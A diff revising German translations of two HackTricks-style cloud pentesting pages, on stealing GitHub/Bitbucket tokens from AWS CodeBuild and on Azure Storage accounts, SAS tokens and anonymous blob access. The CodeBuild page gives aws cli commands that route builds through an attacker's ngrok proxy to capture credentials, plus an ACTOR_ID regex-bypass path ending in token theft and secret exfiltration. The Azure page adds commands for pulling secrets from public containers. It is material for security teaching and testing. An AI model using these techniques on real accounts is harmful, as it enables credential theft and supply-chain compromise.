diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index da30c68a4..fdbef2412 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Konfigurierte Github/Bitbucket Tokens wiederherstellen +## Wiederherstellen konfigurierter Tokens für Github/Bitbucket -Prüfe zuerst, ob source credentials konfiguriert sind, die zu einem leak führen könnten: +Prüfe zuerst, ob Quell-Credentials konfiguriert sind, die du leak könntest: ```bash aws codebuild list-source-credentials ``` -### Über Docker-Image +### Über Docker Image -Wenn Sie feststellen, dass z. B. eine Authentifizierung zu Github im Account eingerichtet ist, können Sie **exfiltrate** diesen **access** (**GH token or OAuth token**), indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image zu verwenden, um den Build des Projekts auszuführen. +Wenn du feststellst, dass z. B. eine Authentifizierung für Github im Account konfiguriert ist, kannst du dieses **exfiltrate** dieses **access** (**GH token or OAuth token**) erreichen, indem du Codebuild ein bestimmtes Docker image verwenden lässt, um den Build des Projekts auszuführen. -Zu diesem Zweck können Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines vorhandenen Projekts ändern, um das **Docker-Image** festzulegen. +Zu diesem Zweck kannst du ein **neues Codebuild project** erstellen oder die **environment** eines bestehenden ändern, um das **Docker image** zu setzen. -Das Docker-Image, das Sie verwenden können, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die Umgebungsvariablen `https_proxy`, `http_proxy` und `SSL_CERT_FILE` setzt. Dadurch können Sie den Großteil des Traffics des in `https_proxy` und `http_proxy` angegebenen Hosts abfangen und dem in `SSL_CERT_FILE` angegebenen SSL-Zertifikat vertrauen. +Das Docker image, das du verwenden könntest, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker image, das die **env variables `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** setzt. Dadurch kannst du den Großteil des Traffics des Hosts, der in **`https_proxy`** und **`http_proxy`** angegeben ist, abfangen und dem SSL CERT vertrauen, das in **`SSL_CERT_FILE`** angegeben ist. -1. **Erstellen & Hochladen Ihres eigenen Docker MitM-Images** -- Befolgen Sie die Anweisungen des Repo, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu setzen und das Docker-Image zu bauen. -- **DO NOT SET `http_proxy`**, damit Anfragen an den Metadata-Endpunkt nicht abgefangen werden. -- Sie können **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen -- Sobald Sie das Docker-Image gebaut haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...) -2. **Umgebung setzen** -- **Erstellen** Sie ein neues Codebuild-Projekt oder **ändern** Sie die Umgebung eines bestehenden. -- Konfigurieren Sie das Projekt so, dass es das **zuvor erzeugte Docker-Image** verwendet +1. **Erstelle & lade dein eigenes Docker MitM image hoch** +- Folge den Anweisungen des Repos, um deine Proxy-IP-Adresse und dein SSL-Zertifikat zu setzen und das **Docker image zu bauen**. +- **DO NOT SET `http_proxy`** damit Anfragen an den Metadata-Endpunkt nicht abgefangen werden. +- Du kannst **`ngrok`** z. B. mit `ngrok tcp 4444` verwenden, um den Proxy auf deinen Host zu setzen. +- Sobald du das Docker image gebaut hast, **lade es in ein öffentliches Repo hoch** (Dockerhub, ECR...) +2. **Set the environment** +- Erstelle ein **neues Codebuild project** oder **modifiziere** die environment eines bestehenden. +- Setze das Projekt so, dass es das **zuvor erzeugte Docker image** verwendet.
-3. **Setzen Sie den MitM-Proxy auf Ihrem Host** +3. **Set the MitM proxy in your host** -- Wie im **Github repo** angegeben, können Sie etwas wie folgendes verwenden: +- Wie im **Github repo** angegeben, kannst du etwas wie folgendes verwenden: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> Die **mitmproxy version used was 9.0.1**, es wurde berichtet, dass es mit Version 10 möglicherweise nicht funktioniert. +> Die **mitmproxy-Version war 9.0.1**, es wurde berichtet, dass es mit Version 10 möglicherweise nicht funktioniert. -4. **Build ausführen & Zugangsdaten erfassen** +4. **Build ausführen & Zugangsdaten abfangen** -- Das Token ist im **Authorization**-Header sichtbar: +- Sie können den token im **Authorization**-Header sehen:
-Das kann auch über die aws cli mit etwas wie dem Folgenden gemacht werden: +Das kann auch mit dem aws cli etwa so gemacht werden: ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2 ``` ### Über insecureSSL -**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die in der Weboberfläche verborgen ist und nur über die API geändert werden kann.\ -Wenn diese aktiviert ist, erlaubt sie Codebuild, sich mit dem Repository zu verbinden **ohne das von der Plattform präsentierte Zertifikat zu prüfen**. +**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die in der Weboberfläche versteckt ist und die man nur über die **API** ändern kann.\ +Wenn man diese aktiviert, erlaubt das Codebuild, eine Verbindung zum Repository **ohne das von der Plattform angebotene Zertifikat zu prüfen**. - Zuerst musst du die aktuelle Konfiguration mit etwas wie folgendem auflisten: ```bash aws codebuild batch-get-projects --name ``` -- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** setzen. Das folgende ist ein Beispiel für mein Aktualisieren eines Projekts — beachte **`insecureSsl=True`** am Ende (das ist das Einzige, was du an der gesammelten Konfiguration ändern musst). -- Füge außerdem die env variables **`http_proxy`** und **`https_proxy`** hinzu, die auf dein tcp ngrok zeigen, wie folgt: +- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** setzen. Das folgende ist ein Beispiel, wie ich ein Projekt aktualisiere; beachte **`insecureSsl=True`** am Ende (das ist das Einzige, was du an der gesammelten Konfiguration ändern musst). +- Füge außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf deinen tcp ngrok zeigen, z. B.: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen. +- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist. ```python from mitm import MITM, protocol, middleware, crypto @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Schließlich auf **Build the project** klicken — die **credentials** werden **im Klartext** (base64) an den mitm port gesendet: +- Klicke abschließend auf **Build the project**, die **credentials** werden im Klartext (base64) an den mitm-Port gesendet:
-### ~~Über das HTTP-Protokoll~~ +### ~~Über HTTP protocol~~ -> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Feb 2023 behoben (ich glaube am Freitag). Daher kann ein Angreifer sie nicht mehr ausnutzen :)** +> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20th of Feb of 2023 behoben (ich glaube am Friday). Daher kann ein Angreifer sie nicht mehr ausnutzen :)** -Ein Angreifer mit **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. +Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte das konfigurierte Github/Bitbucket token leaken oder, falls die Berechtigungen via OAuth konfiguriert wurden, das **temporäre OAuth token, das zum Zugriff auf den Code verwendet wird**. - Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`). @@ -144,8 +144,8 @@ Ein Angreifer mit **elevated permissions in over a CodeBuild could leak the Gith
-- Dann die URL des github Repo so ändern, dass HTTP statt HTTPS verwendet wird, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` -- Dann das Basisbeispiel von https://github.com/synchronizing/mitm auf dem von den Proxy-Variablen (http_proxy und https_proxy) angegebenen Port ausführen. +- Dann ändere die URL des github repo, sodass HTTP statt HTTPS verwendet wird, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` +- Führe dann das Basisbeispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen. ```python from mitm import MITM, protocol, middleware, crypto @@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Als Nächstes klicken Sie auf **Build the project** oder starten Sie den Build von der Kommandozeile: +- Als Nächstes klicken Sie auf **Build the project** oder starten Sie den Build über die Kommandozeile: ```sh aws codebuild start-build --project-name ``` -- Schließlich werden die **credentials** im **Klartext** (base64) an den mitm-Port gesendet: +- Abschließend werden die **credentials** im **Klartext** (base64) an den mitm port gesendet:
> [!WARNING] -> Nun kann ein Angreifer das token von seiner Maschine aus verwenden, alle Berechtigungen auflisten, die es hat, und es leichter missbrauchen, als den CodeBuild-Service direkt zu verwenden. +> Ein Angreifer kann nun das Token von seinem Rechner aus verwenden, alle Berechtigungen auflisten, die es hat, und es einfacher (miss)brauchen, als den CodeBuild-Service direkt zu nutzen. -## Webhook-Filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) +## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) -Falsch konfigurierte CodeBuild GitHub-Webhooks, die nicht verankerte `ACTOR_ID`-Regexes verwenden, erlauben *nicht vertrauenswürdigen* PRs, privilegierte Builds zu starten. Wenn die allowlist z. B. `123456|7890123` ohne `^`/`$` ist, passt jede ID, die eines dieser Substrings enthält. Da GitHub-Benutzer-IDs sequenziell sind, kann ein Angreifer ein Rennen eingehen, um eine „eclipsing“ ID (ein Superstring einer vertrauenswürdigen ID) zu registrieren und den Build auszulösen. +Falsch konfigurierte CodeBuild-GitHub-Webhooks, die unanchored `ACTOR_ID`-Regexes verwenden, erlauben es *nicht vertrauenswürdigen* PRs, privilegierte Builds zu starten. Wenn die allowlist z. B. `123456|7890123` ohne `^`/`$` ist, stimmt jede ID, die einen dieser Substrings enthält. Da GitHub-Benutzer-IDs sequentiell sind, kann ein Angreifer darum wetteifern, eine „eclipsing“ ID (einen Superstring einer vertrauenswürdigen ID) zu registrieren und so den Build auszulösen. **Exploit path** -1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist. -2. Obtain an eclipsing GitHub ID: -- Probe den globalen ID-Zähler, indem du GitHub-Organisationen erstellst/löschst (org IDs teilen denselben Pool). -- Stelle viele GitHub App-Manifest-Erstellungen vorab bereit und rufe die Bestätigungs-URLs auf, wenn der Zähler innerhalb von ~100 IDs des Ziels liegt, um in einem Schub einen Bot-ID zu registrieren, der das vertrauenswürdige Substring enthält. -3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs. -4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token. -5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets. +1. Finde öffentliche CodeBuild-Projekte, die webhook filters exponieren, und extrahiere eine unanchored `ACTOR_ID` allowlist. +2. Erlange eine eclipsing GitHub-ID: +- Sample den globalen ID-Zähler, indem du GitHub orgs erstellst/löschst (org IDs teilen sich den Pool). +- Pre-stage viele GitHub App manifest-Erstellungen und rufe die confirmation URLs auf, wenn der Zähler sich innerhalb von ~100 IDs des Ziels befindet, um in einem Schub eine Bot-ID zu registrieren, die das vertrauenswürdige Substring enthält. +3. Öffne eine PR von dem eclipsing Account; der Regex findet den Substring und der privilegierte Build wird ausgeführt. +4. Nutze Build RCE (z. B. dependency install hooks), um den Prozessspeicher zu dumpen, der die GitHub-Anmeldeinformationen verarbeitet, und das PAT/OAuth-Token wiederherzustellen. +5. Mit dem Token mit `repo`-Scope lade dein Konto als collaborator/admin ein und pushe/genehmige bösartige Commits oder exfiltriere Secrets. ## References - [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index cf8680970..4dd7b31ed 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -1,75 +1,75 @@ -# Az - Storage Accounts & Blobs +# Az - Storage-Konten & Blobs {{#include ../../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -Azure Storage Accounts sind grundlegende Dienste in Microsoft Azure, die skalierbaren, sicheren und hochverfügbaren Cloud-**Storage für verschiedene Datentypen** bereitstellen, einschließlich Blobs (binary large objects), Dateien, Queues und Tables. Sie fungieren als Container, die diese unterschiedlichen Storage-Dienste unter einem einzigen Namespace zur einfachen Verwaltung zusammenfassen. +Azure Storage Accounts sind grundlegende Dienste in Microsoft Azure, die skalierbaren, sicheren und hochverfügbaren Cloud-**Speicher für verschiedene Datentypen** bereitstellen, einschließlich Blobs (binary large objects), Files, Queues und Tables. Sie dienen als Container, die diese unterschiedlichen Storage-Services unter einem einzigen Namespace zur einfachen Verwaltung zusammenfassen. **Hauptkonfigurationsoptionen**: -- Jeder Storage Account muss einen **eindeutigen Namen in ganz Azure** haben. -- Jeder Storage Account wird in einer **Region** oder in einer Azure Extended Zone bereitgestellt. -- Es ist möglich, die **Premium**-Variante des Storage Accounts für bessere Performance auszuwählen. -- Es ist möglich, zwischen **4 Redundanztypen** zu wählen, um gegen Rack-, Laufwerks- und Rechenzentrums-**Ausfälle** zu schützen. +- Jedes Storagekonto muss einen **eindeutigen Namen in ganz Azure** haben. +- Jedes Storagekonto wird in einer **Region** oder in einer Azure extended zone bereitgestellt. +- Es ist möglich, die **Premium**-Version des Storagekontos für bessere Performance auszuwählen. +- Es ist möglich, zwischen **4 Arten von Redundanz zum Schutz** vor Rack-, Laufwerks- und Rechenzentrums-**Ausfällen** zu wählen. **Sicherheitskonfigurationsoptionen**: -- **Require secure transfer for REST API operations**: TLS für jede Kommunikation mit dem Storage erforderlich -- **Allows enabling anonymous access on individual containers**: Wenn deaktiviert, wird es künftig nicht möglich sein, anonymen Zugriff zu aktivieren -- **Enable storage account key access**: Wenn deaktiviert, ist der Zugriff mit Shared Keys verboten +- **Require secure transfer for REST API operations**: TLS für jede Kommunikation mit dem Storage erforderlich. +- **Allows enabling anonymous access on individual containers**: Falls deaktiviert, wird es in Zukunft nicht möglich sein, anonymen Zugriff zu aktivieren. +- **Enable storage account key access**: Falls deaktiviert, wird der Zugriff mit Shared Keys verboten. - **Minimum TLS version** -- **Permitted scope for copy operations**: Erlauben von jedem Storage Account, von jedem Storage Account im selben Entra tenant oder von Storage Accounts mit privaten Endpunkten im selben Virtual Network. +- **Permitted scope for copy operations**: Erlaubt von jedem Storage Account, von jedem Storage Account desselben Entra-Tenants oder von Storage Accounts mit privaten Endpoints im selben Virtual Network. -**Blob Storage-Optionen**: +**Blob Storage options**: - **Allow cross-tenant replication** -- **Access tier**: Hot (häufig abgerufene Daten), Cool und Cold (selten abgerufene Daten) +- **Access tier**: Hot (häufig verwendete Daten), Cool und Cold (selten abgerufene Daten) -**Netzwerkoptionen**: +**Networking options**: - **Network access**: - Allow from all networks - Allow from selected virtual networks and IP addresses - Disable public access and use private access -- **Private endpoints**: Ermöglicht eine private Verbindung zum Storage Account von einem Virtual Network +- **Private endpoints**: Ermöglicht eine private Verbindung zum Storage Account aus einem Virtual Network. -**Daten­schutz­optionen**: +**Data protection options**: -- **Point-in-time restore for containers**: Ermöglicht das Wiederherstellen von Containern in einen früheren Zustand -- Es erfordert, dass Versioning, Change Feed und Blob Soft Delete aktiviert sind. -- **Enable soft delete for blobs**: Ermöglicht eine Aufbewahrungsdauer in Tagen für gelöschte Blobs (auch überschrieben) -- **Enable soft delete for containers**: Ermöglicht eine Aufbewahrungsdauer in Tagen für gelöschte Container -- **Enable soft delete for file shares**: Ermöglicht eine Aufbewahrungsdauer in Tagen für gelöschte File Shares -- **Enable versioning for blobs**: Behalte frühere Versionen deiner Blobs -- **Enable blob change feed**: Protokolliert Create-, Modify- und Delete-Änderungen an Blobs -- **Enable version-level immutability support**: Ermöglicht das Festlegen einer zeitbasierten Aufbewahrungsrichtlinie auf Kontoebene, die für alle Blob-Versionen gilt. -- Version-level immutability support und Point-in-time restore for containers können nicht gleichzeitig aktiviert werden. +- **Point-in-time restore for containers**: Ermöglicht das Wiederherstellen von Containern in einen früheren Zustand. + - Erfordert, dass Versioning, Change Feed und Blob Soft Delete aktiviert sind. +- **Enable soft delete for blobs**: Aktiviert eine Aufbewahrungsfrist in Tagen für gelöschte Blobs (auch überschrieben). +- **Enable soft delete for containers**: Aktiviert eine Aufbewahrungsfrist in Tagen für gelöschte Container. +- **Enable soft delete for file shares**: Aktiviert eine Aufbewahrungsfrist in Tagen für gelöschte File Shares. +- **Enable versioning for blobs**: Bewahrt vorherige Versionen deiner Blobs. +- **Enable blob change feed**: Führt Protokolle über Erstellungs-, Änderungs- und Löschvorgänge an Blobs. +- **Enable version-level immutability support**: Ermöglicht das Setzen einer zeitbasierten Aufbewahrungsrichtlinie auf Kontoebene, die für alle Blob-Versionen gilt. +- Version-level immutability support und point-in-time restore for containers können nicht gleichzeitig aktiviert werden. -**Verschlüsselungs­konfigurations­optionen**: +**Verschlüsselungskonfiguration**: -- **Encryption type**: Es ist möglich, Microsoft-managed keys (MMK) oder Customer-managed keys (CMK) zu verwenden -- **Enable infrastructure encryption**: Ermöglicht die doppelte Verschlüsselung der Daten für mehr Sicherheit +- **Encryption type**: Es ist möglich, Microsoft-managed keys (MMK) oder Customer-managed keys (CMK) zu verwenden. +- **Enable infrastructure encryption**: Erlaubt eine doppelte Verschlüsselung der Daten "für mehr Sicherheit". -### Storage-Endpunkte +### Storage endpoints -
Storage-DienstEndpunkt
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
+
Storage ServiceEndpoint
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
### Öffentliche Zugänglichkeit -Wenn "Allow Blob public access" **aktiviert** ist (standardmäßig deaktiviert), ist es beim Erstellen eines Containers möglich: +If "Allow Blob public access" is **enabled** (disabled by default), when creating a container it's possible to: -- **Öffentlichen Zugriff zum Lesen von Blobs** zu gewähren (man muss den Namen kennen). -- Den Container zu **listen** und die Blobs **zu lesen**. -- Den Container vollständig **privat** zu machen. +- Give **public access to read blobs** (you need to know the name). +- **List container blobs** and **read** them. +- Make it fully **private**
-### Statische Website (`$web`) exposure & leaked secrets +### Static website (`$web`) exposure & leaked secrets -- **Static websites** werden vom speziellen `$web`-Container über einen regionsspezifischen Endpunkt wie `https://.z13.web.core.windows.net/` ausgeliefert. -- Der `$web`-Container kann über die Blob API `publicAccess: null` melden, aber Dateien sind über den statischen Site-Endpunkt weiterhin erreichbar, sodass das Ablegen von Konfig-/IaC-Artefakten dort can leak secrets. -- Schneller Audit-Workflow: +- **Static websites** werden vom speziellen `$web`-Container über einen regionsspezifischen Endpoint wie `https://.z13.web.core.windows.net/` bereitgestellt. +- Der `$web`-Container kann via Blob-API `publicAccess: null` melden, aber Dateien sind weiterhin über den statischen Site-Endpoint erreichbar, sodass das Ablegen von Config/IaC-Artefakten dort can leak secrets. +- Quick audit workflow: ```bash # Identify storage accounts with static website hosting enabled az storage blob service-properties show --account-name --auth-mode login @@ -80,21 +80,21 @@ az storage blob list --container-name '$web' --account-name --auth-mo # Pull suspicious files directly (e.g., IaC tfvars containing secrets/SAS) az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdout --account-name --auth-mode login ``` -### Überprüfung anonymer Blob-Freigabe +### Prüfung anonymen Blob-Zugriffs -- **Finde Storage-Accounts** die Daten exponieren könnten: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Wenn `allowBlobPublicAccess` `false` ist, kannst du Container nicht öffentlich machen. -- **Untersuche riskante Accounts** um das Flag und andere schwache Einstellungen zu bestätigen: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. -- **Enumeriere container-spezifische Freigaben** dort, wo das Flag aktiviert ist: +- **Locate storage accounts** die Daten exponieren können: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Wenn `allowBlobPublicAccess` `false` ist, kannst du Container nicht öffentlich machen. +- **Riskante Accounts prüfen** um das Flag und weitere schwache Einstellungen zu bestätigen: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. +- **Auf Container-Ebene exponierte Ressourcen aufzählen** bei aktivem Flag: ```bash az storage container list --account-name \ --query '[].{name:name, access:properties.publicAccess}' ``` - `"Blob"`: anonyme Lesezugriffe erlaubt **nur wenn der Blob-Name bekannt ist** (kein Auflisten). -- `"Container"`: anonyme **Auflistung + Leserechte** für jedes Blob. +- `"Container"`: anonyme **Auflistung + Lesen** jedes Blobs. - `null`: privat; Authentifizierung erforderlich. -- **Zugriff ohne Anmeldeinformationen nachweisen**: -- Wenn `publicAccess` `Container` ist, funktioniert anonymes Auflisten: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. -- Für `Blob` und `Container` funktioniert anonymes Herunterladen eines Blobs, wenn der Name bekannt ist: +- **Zugriff nachweisen** ohne Anmeldeinformationen: +- Wenn `publicAccess` `Container` ist, funktioniert anonyme Auflistung: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. +- Für `Blob` und `Container` funktioniert der anonyme Blob-Download, wenn der Name bekannt ist: ```bash az storage blob download -c -n --account-name --file /dev/stdout # or via raw HTTP @@ -102,31 +102,31 @@ curl "https://.blob.core.windows.net//" ``` ### Mit Storage verbinden -Wenn du ein **Storage** findest, zu dem du eine Verbindung herstellen kannst, kannst du das Tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) dafür verwenden. +Wenn Sie ein **storage** finden, zu dem Sie eine Verbindung herstellen können, können Sie das Tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) dafür verwenden. ## Zugriff auf Storage ### RBAC -Es ist möglich, Entra ID-Principals mit **RBAC roles** zu verwenden, um auf Storage-Accounts zuzugreifen, und dies ist der empfohlene Weg. +Es ist möglich, Entra ID-Principals mit **RBAC roles** zu verwenden, um auf Storage-Accounts zuzugreifen — dies ist der empfohlene Weg. ### Access Keys -Die Storage-Accounts haben Access Keys, die zum Zugriff verwendet werden können. Dies gewährt **vollen Zugriff auf das Storage-Account.** +Die Storage-Accounts verfügen über Access Keys, die verwendet werden können, um darauf zuzugreifen. Dies gewährt **vollen Zugriff auf das storage account.**
### **Shared Keys & Lite Shared Keys** -Es ist möglich, [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) zu erstellen, die mit den Access Keys signiert sind, um den Zugriff auf bestimmte Ressourcen über eine signierte URL zu autorisieren. +Es ist möglich, [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key), die mit den Access Keys signiert sind, zu verwenden, um den Zugriff auf bestimmte Ressourcen über eine signierte URL zu autorisieren. > [!NOTE] -> Beachte, dass der Teil `CanonicalizedResource` die Ressource des Storage-Services (URI) repräsentiert. Und wenn ein Teil in der URL kodiert ist, sollte er auch innerhalb des `CanonicalizedResource` kodiert sein. +> Hinweis: Der `CanonicalizedResource`-Teil repräsentiert die Ressource des storage services (URI). Wenn ein Teil der URL kodiert ist, sollte er auch innerhalb des `CanonicalizedResource` kodiert sein. > [!NOTE] -> Dies wird **standardmäßig vom `az` cli** zur Authentifizierung von Requests verwendet. Um stattdessen die Entra ID Principal-Credentials zu verwenden, gib den Parameter `--auth-mode login` an. +> Dies wird **standardmäßig vom `az` CLI** benutzt, um Requests zu authentifizieren. Um stattdessen die Anmeldeinformationen eines Entra ID Principals zu verwenden, geben Sie den Parameter `--auth-mode login` an. -- Es ist möglich, einen **shared key for blob, queue and file services** zu erzeugen, indem die folgenden Informationen signiert werden: +- Es ist möglich, einen **shared key für blob, queue und file services** zu generieren, indem die folgenden Informationen signiert werden: ```bash StringToSign = VERB + "\n" + Content-Encoding + "\n" + @@ -143,7 +143,7 @@ Range + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- Es ist möglich, einen **shared key for table services** zu erzeugen, indem man die folgenden Informationen signiert: +- Es ist möglich, einen **Shared Key für Table Services** zu generieren, indem man die folgenden Informationen signiert: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -151,7 +151,7 @@ Content-Type + "\n" + Date + "\n" + CanonicalizedResource; ``` -- Es ist möglich, einen **lite shared key for blob, queue and file services** zu generieren, indem man die folgenden Informationen signiert: +- Es ist möglich, einen **lite shared key for blob, queue and file services** zu generieren, indem die folgenden Informationen signiert werden: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -165,7 +165,7 @@ CanonicalizedResource; StringToSign = Date + "\n" CanonicalizedResource ``` -Um den Schlüssel zu verwenden, kann er im Authorization-Header mit folgender Syntax angegeben werden: +Um den Schlüssel zu verwenden, kann er im Authorization-Header nach folgender Syntax angegeben werden: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -179,14 +179,14 @@ Content-Length: 0 ``` ### **Shared Access Signature** (SAS) -Shared Access Signatures (SAS) sind sichere, zeitlich begrenzte URLs, die **spezifische Berechtigungen zum Zugriff auf Ressourcen** in einem Azure Storage-Konto gewähren, ohne die access keys des Kontos offenzulegen. Während access keys vollen Administratorzugriff auf alle Ressourcen bieten, ermöglicht SAS eine granulare Kontrolle, indem Berechtigungen (wie read oder write) angegeben und ein Ablaufzeitpunkt definiert werden. +Shared Access Signatures (SAS) sind sichere, zeitlich begrenzte URLs, die spezifische Berechtigungen zum Zugriff auf Ressourcen in einem Azure Storage account gewähren, ohne die Zugriffsschlüssel des Kontos offenzulegen. Während Zugriffsschlüssel vollen administrativen Zugriff auf alle Ressourcen bieten, ermöglicht SAS eine granulare Steuerung durch Angabe von Berechtigungen (z. B. read oder write) und Festlegung einer Ablaufzeit. #### SAS Types -- **User delegation SAS**: Dies wird von einem **Entra ID principal** erstellt, der die SAS signiert und die Berechtigungen vom Benutzer an die SAS delegiert. Es kann nur mit **blob and data lake storage** verwendet werden ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es ist möglich, alle erzeugten user delegated SAS zu **widerrufen**. -- Es ist z. B. möglich, eine delegation SAS mit "mehr" Berechtigungen zu erzeugen, als der Benutzer hat. Wenn der principal diese Berechtigungen jedoch nicht besitzt, funktioniert es nicht (no privesc). -- **Service SAS**: Diese wird mit einem der storage account **access keys** signiert. Sie kann verwendet werden, um Zugriff auf spezifische Ressourcen in einem einzelnen Storage-Service zu gewähren. Wenn der Key erneuert wird, funktioniert die SAS nicht mehr. -- **Account SAS**: Sie wird ebenfalls mit einem der storage account **access keys** signiert. Sie gewährt Zugriff auf Ressourcen über die Dienste eines Storage-Kontos hinweg (Blob, Queue, Table, File) und kann service-level Operationen einschließen. +- **User delegation SAS**: Dieses wird von einem **Entra ID principal** erstellt, der die SAS signiert und die Berechtigungen vom Benutzer an die SAS delegiert. Es kann nur mit **blob and data lake storage** verwendet werden ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es ist möglich, alle erzeugten user delegated SAS zu **revoke**n. +- Even if it's possible to generate a delegation SAS with "more" permissions than the ones the user has. However, if the principal doesn't have them, it won't work (no privesc). +- **Service SAS**: Diese wird mit einem der storage account **access keys** signiert. Sie kann verwendet werden, um Zugriff auf spezifische Ressourcen in einem einzelnen Storage service zu gewähren. Wenn der Key erneuert wird, funktioniert die SAS nicht mehr. +- **Account SAS**: Ebenfalls mit einem der storage account **access keys** signiert. Sie gewährt Zugriff auf Ressourcen über Storage account services hinweg (Blob, Queue, Table, File) und kann service-level Operationen einschließen. A SAS URL signed by an **access key** looks like this: @@ -196,7 +196,7 @@ A SAS URL signed as a **user delegation** looks like this: - `https://.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D` -Beachte einige **http params**: +Note some **http params**: - The **`se`** param indicates the **expiration date** of the SAS - The **`sp`** param indicates the **permissions** 